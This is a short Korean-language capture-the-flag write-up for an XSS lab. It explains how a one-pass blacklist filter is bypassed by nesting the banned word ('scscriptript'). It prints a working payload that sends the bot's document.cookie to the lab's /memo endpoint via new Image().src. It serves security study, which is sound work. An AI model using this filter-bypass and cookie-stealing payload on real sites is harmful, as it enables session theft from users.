TL;DR
- 취약점:
/vuln이param을xss_filter통과 후 응답에 직접 출력 → 서버 출력 sink,<script>실행 가능 - 핵심 트릭: 필터가 단발
replace라 치환 결과를 재검사 안 함 → 금지어 중첩(scscriptript)으로 부활 - 페이로드:
<scscriptript>new Image().src="http://127.0.0.1:8000/memo?memo=" + document.cookie</scscriptript>
분석
| 엔드포인트 | 동작 |
|---|---|
/vuln | param을 xss_filter 후 응답에 직접 출력 |
/flag | POST param을 check_xss로 넘겨 FLAG 쿠키 든 봇 호출 |
/memo | 전역변수 memo_text에 누적 저장·노출 |
| |
취약점
서버가 param을 응답 본문에 직접 출력 → <script>가 파서에 그대로 걸려 실행.
급소: 필터는 script, on, javascript:를 대소문자 무관 제거하지만, 각 금지어를 한 번만 replace하고 결과를 재검사하지 않는다.
공격
흐름은 XSS-1과 동일(봇 호출 → /vuln 실행 → 쿠키 읽기 → /memo 전송 → 확인).
- 필터 결함 확인: 각 금지어를 단발
replace로 제거, 제거 후 결과 재검사 없음 - 우회: 금지어 안에 같은 금지어를 한 겹 중첩 → 바깥이 제거되면 양옆이 붙어 부활 (
script→scscriptript,on→oonn) - 본문(
new Image().src ... document.cookie)은 금지어 미포함이라 그대로 통과 → 태그만 중첩 우회
| |
검증은 쪼개서: /vuln?param=<scscriptript>alert(1)</scscriptript>(복원·실행 확인) → memo=test(전송 통로) → document.cookie(탈취).
핵심 당위: 단발
replace는 한 번의 좌→우 스캔에서 만난 것만 지우고 치환 결과는 재스캔하지 않는다 →scscriptript의 가운데script가 빠지면sc+ript가 붙어script로 복원된다.
배운 점
- 블랙리스트 + 단발
replace의 전형적 결함: 제거 후 재검사 부재 → 금지어 중첩으로 부활 - 판별점: 필터가 결과 불변까지 반복(
while)인가 단발인가 → 단발이면 중첩 우회 성립 - 본문에 금지어가 없으면 태그만 우회하면 끝 → 우회 대상을 최소 범위로 좁혀 생각